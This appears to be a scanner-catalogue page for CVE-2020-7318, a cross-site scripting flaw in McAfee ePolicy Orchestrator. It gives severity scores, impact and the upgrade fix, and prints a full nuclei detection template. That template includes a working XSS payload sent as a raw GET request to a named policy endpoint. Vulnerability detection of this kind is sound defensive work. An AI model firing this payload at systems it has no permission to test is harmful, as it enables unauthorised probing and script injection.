McAfee ePolicy Orchestrator <5.10.9 Update 9 - Cross-Site Scripting

mediumseverity

4.3CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

McAfee ePolicy Orchestrator before 5.10.9 Update 9 is vulnerable to a cross-site scripting vulnerability that allows administrators to inject arbitrary web script or HTML via multiple parameters where the administrator's entries were not correctly sanitized. reference: - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/ - https://kc.mcafee.com/corporate/index?page=content&id=SB10332 - https://nvd.nist.gov/vuln/detail/CVE-2020-7318

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking or unauthorized actions.

Fix

Upgrade to McAfee ePolicy Orchestrator version 5.10.9 Update 9 or later to mitigate this vulnerability.

How to confirm it

Send: GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E
Positive when: contains in header "text/html" AND contains "Policy Name" and "'\"><svg/onload=alert(document.domain)>" AND status 200

Run it with nuclei: nuclei -id CVE-2020-7318 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-7318

info:
  name: McAfee ePolicy Orchestrator <5.10.9 Update 9 - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    McAfee ePolicy Orchestrator before 5.10.9 Update 9 is vulnerable to a cross-site scripting vulnerability that allows administrators to inject arbitrary web script or HTML via multiple parameters where the administrator's entries were not correctly sanitized.
    reference:
    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
    - https://kc.mcafee.com/corporate/index?page=content&id=SB10332
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7318
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking or unauthorized actions.
  remediation: |
    Upgrade to McAfee ePolicy Orchestrator version 5.10.9 Update 9 or later to mitigate this vulnerability.
  reference:
    - https://kc.mcafee.com/corporate/index?page=content&id=SB10332
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2020-7318
    cwe-id: CWE-79
    epss-score: 0.01033
    epss-percentile: 0.64066
    cpe: cpe:2.3:a:mcafee:epolicy_orchestrator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mcafee
    product: epolicy_orchestrator
  tags: cve,cve2020,xss,mcafee,vuln

http:
  - raw:
      - |
        GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "Policy Name"
          - "'\"><svg/onload=alert(document.domain)>"
        condition: and

      - type: status
        status:
          - 200

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